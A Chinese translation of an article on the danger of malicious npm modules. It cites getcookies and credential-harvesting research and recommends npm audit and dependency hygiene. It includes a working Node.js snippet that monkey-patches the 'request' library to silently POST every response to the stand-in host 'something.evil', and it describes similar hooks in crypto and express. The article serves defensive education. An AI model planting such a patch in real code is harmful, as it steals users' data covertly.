根據最近npm的一項安全性調查顯示，77%的受訪者對OSS/第三方代碼的安全性表示擔憂。本文將介紹關于這方面的內容，通過第三方代碼引入應用程序的安全漏洞。具體來說，我們考慮被惡意引入的漏洞的場景。
我應該擔心第三方模塊嗎?
你可能疑惑的第一件事是，是否需要擔心惡意模塊？程序員是一群非常友好的人，我們為什么要懷疑他們發布的模塊呢?而且，如果npm上的每個包都是開源的，那么肯定有大量的眼睛來跟蹤每一行代碼，不是嗎?此外，我只有幾個模塊，能有多少第三方代碼呢?
在探究這些答案之前，讓我們先看看這篇文章:“我正在從你的站點獲取信用卡號碼和密碼，方法在這"。這是一個虛構的故事，講的是npm上的Node.js模塊的作者，該模塊能夠偷偷地從網站上盜取信用卡。故事詳細介紹了隱藏這些活動的各種方法。例如，代碼從來不會在localhost環境上運行，它從來不會在開發控制臺打開時運行，它只在很短一段時間內運行，并且發布到npm的代碼被混淆了，并且與在GitHub上公開托管的代碼不同。雖然這個故事是虛構的，但它所描述的技術方法是完全可行的。
當然，那只是一個虛構的故事。現實真的有這樣的例子嗎?npm最近發布了這篇文章:“惡意模塊報告:getcookies”。本文介紹了一個實際情況，文中描述的模塊被發布并成為其他模塊的依賴項。當接收到精心設計的頭信息時，將觸發此惡意模塊，然后執行請求中提供的任意JAVAScript代碼。
getcookies模塊確實也成為了幾個模塊的依賴項，但理論上這種損害并沒有被廣泛傳播。您現在可能想知道會造成多大的破壞，或者攻擊者會對npm生態系統產生多大的影響。在“收集弱npm憑證”這篇文章中，一位安全研究人員描述了他如何獲取npm用戶帳戶憑證(從而獲得發布權)，這些帳戶占整個npm包生態系統的14%。這是通過從許多可用的憑據泄漏和強制使用弱密碼收集憑據來實現的。由于這些包是其他包的依賴項，研究人員能夠瞬時影響54%的整個npm生態系統!如果研究人員發布了他所控制的每個包的補丁版本，然后運行一個npm install，其中包含54%包中的任意一個包的依賴樹，就會執行研究人員的代碼。
更為嚴重的是，即使是善意的包作者也可能成為網絡釣魚和密碼泄漏的受害者。為了防止以上問題的出現，npm確實為其服務增加了雙因子認證 (2FA)。然而，即使添加了2FA，托管在npm上的包也不一定是全部啟用的。2FA是可選的，不太可能所有的npm包作者都啟用它。雖然2FA更安全，但許多2FA方法也容易受到釣魚攻擊。
當然，模塊作者更有可能意外地向模塊添加漏洞，而不是故意這樣做。學者們發現Node.js模塊中存在大量注入漏洞，這可能會使您的應用程序變得脆弱。我們才真正開始關注這方面的研究，隨著生態系統和Node.js開發人員數量的增加，針對npm模塊的攻擊只會變得越來越有利可圖。
我使用了多少第三方代碼?
如果讓你預估你的代碼庫中有多少是應用程序代碼，有多少是第三方代碼？現在你應該得到一個數字，接下來在應用程序中運行以下命令。該命令計算應用程序中的代碼行數，并將其與node_modules目錄中的代碼行數進行比較。
npx @intrinsic/loc 復制代碼
這個命令的輸出可能有點令人驚訝。對于一個擁有數千行應用程序代碼的項目來說，擁有超過100萬行的第三方代碼是很常見的。
到底能造成多大的傷害?
現在你可能想知道到底會造成什么樣的傷害。例如，如果您的應用程序依賴于模塊A，而模塊A又依賴于模塊B，最后依賴于模塊C，那么我們將一些重要數據傳遞給模塊C的幾率有多大呢?
為了讓惡意包造成破壞，不管它在require層次結構中有多深，甚至不管它是否直接傳遞敏感數據。重要的是代碼被require了。下面是一個惡意模塊如何修改全局request的例子，它很難被檢測到，并且會影響整個應用程序:
{
// Require the popular `request` module
const request = require('request')
// Monkey-patch so every request now runs our function
const RequestOrig = request.Request
request.Request = (options) => {
const origCallback = options.callback
// Any outbound request will be mirrored to something.evil
options.callback = (err, httpResponse, body) => {
const rawReq = require('http').request({
hostname: 'something.evil',
port: 8000,
method: 'POST'
})
// Failed requests are silent
rawReq.on('error', () => {})
rawReq.write(JSON.stringify(body, null, 2))
rawReq.end()
// The original request is still made and handled
origCallback.Apply(this, arguments)
}
if (new.target) {
return Reflect.construct(RequestOrig, [options])
} else {
return RequestOrig(options)
}
};
}
復制代碼
這個代碼示例(如果包含在Node.js進程所需的任何模塊中)將攔截通過請求庫發出的所有請求，并將響應發送到攻擊者的服務器。
現在想象一下，如果我們把這個模塊修改得更邪惡。例如，它甚至可以修補內部加密模塊提供的方法。這可以用來將進程加密的任何字符串發送給第三方。這將影響將密碼作為依賴項的其他模塊，例如數據庫模塊在散列密碼時執行auth或bcrypt模塊。
模塊還可以對express模塊進行補丁，并創建一個中間件，該中間件在每個傳入請求上運行。然后，這些數據可以很容易地廣播給攻擊者。
緩解
我們可以做幾件事來保護自己免受惡意模塊的攻擊。首先要做的是了解應用程序中安裝的模塊數量。您應該始終知道應用程序依賴于多少模塊。如果您曾經找到兩個提供相同功能的模塊，請選擇依賴關系較少的模塊。擁有較少的依賴意味著擁有較小的攻擊面。
一些較大的公司實際上會有一個團隊手工審核每個軟件包和軟件包的白名單版本，然后允許公司的其他人員使用!考慮到npm上可用的包和發行版本的數量，這種方法并不實際。此外，許多包維護人員將安全更新作為補丁發布，這樣用戶就可以獲得自動更新，但是如果審查過程很慢，那么應用程序的安全性就會降低!
npm最近收購了NSP并發布了npm audit。此工具將掃描已安裝的依賴項，并將其與包含已知漏洞的模塊/版本的黑名單進行比較。運行npm install甚至會告訴您是否存在已知的漏洞。運行npm audit fix程序將嘗試用永久兼容的版本替換易受攻擊的包(如果存在的話)。
這個工具雖然功能強大，但僅僅是抵御惡意模塊的開始。這是一種保守的方法:它取決于已知和報告的漏洞。它依賴于在開發機器上運行命令的開發人員，查看輸出，將依賴關系更改為不再需要脆弱模塊，然后再次部署。如果已知某個漏洞，它將不會主動保護當前部署的服務。
通常情況下，對于還沒有補丁版本的包，npm audit會發現問題(如截圖中顯示的stringstream包)。例如,模塊A不是經常更新,并且它依賴了一個有漏洞版本的模塊B,然后模塊B的版本被維護者修復了,應用程序所有者不能簡單地更新模塊B的版本。另一個缺點是，有時審計的結果是無法利用的問題，例如模塊中的ReDoS漏洞，該漏洞從不接收來自最終用戶的字符串。讀完這篇文章后，您甚至可能想完全避免使用所有第三方模塊。當然，這是完全不切實際的，因為在npm上有大量可用的模塊，重新創建它們將是一項昂貴的工作。構建Node.js應用程序的吸引力來自于npm上龐大的模塊生態系統，以及我們構建可生產應用程序的速度。避免第三方模塊違背了這一目的。
記住，一定要注意您已經安裝的模塊，注意您的依賴關系樹，注意具有大量依賴關系的模塊，并仔細檢查您正在考慮添加的模塊。這些是防止惡意模塊進入依賴關系樹的最佳方法。一旦模塊成為依賴項，及時更新它們，因為這是獲得安全補丁的好方法。不幸的是，如果您的應用程序的依賴關系樹中最終出現了一個惡意模塊，或者發現了一個零日漏洞，那么你也無能為力。您可以繼續運行npm audit，希望有人報告易受攻擊的代碼，但即使這樣也意味著您應用對外使用期間易受攻擊。如果您真的希望主動地保護Node.js應用程序免受惡意模塊的攻擊，防止惡意的網絡請求、危險的文件系統訪問和限制子進程執行，或者您需要使用Intrinsic。
譯者注：前面介紹了那么多，后面的文章話鋒一轉介紹了Intrinsic這個產品，感興趣的朋友異步到他們的官網查看，不再繼續翻譯。
原文：common node.js attack vectors:the dangers of malicious modules
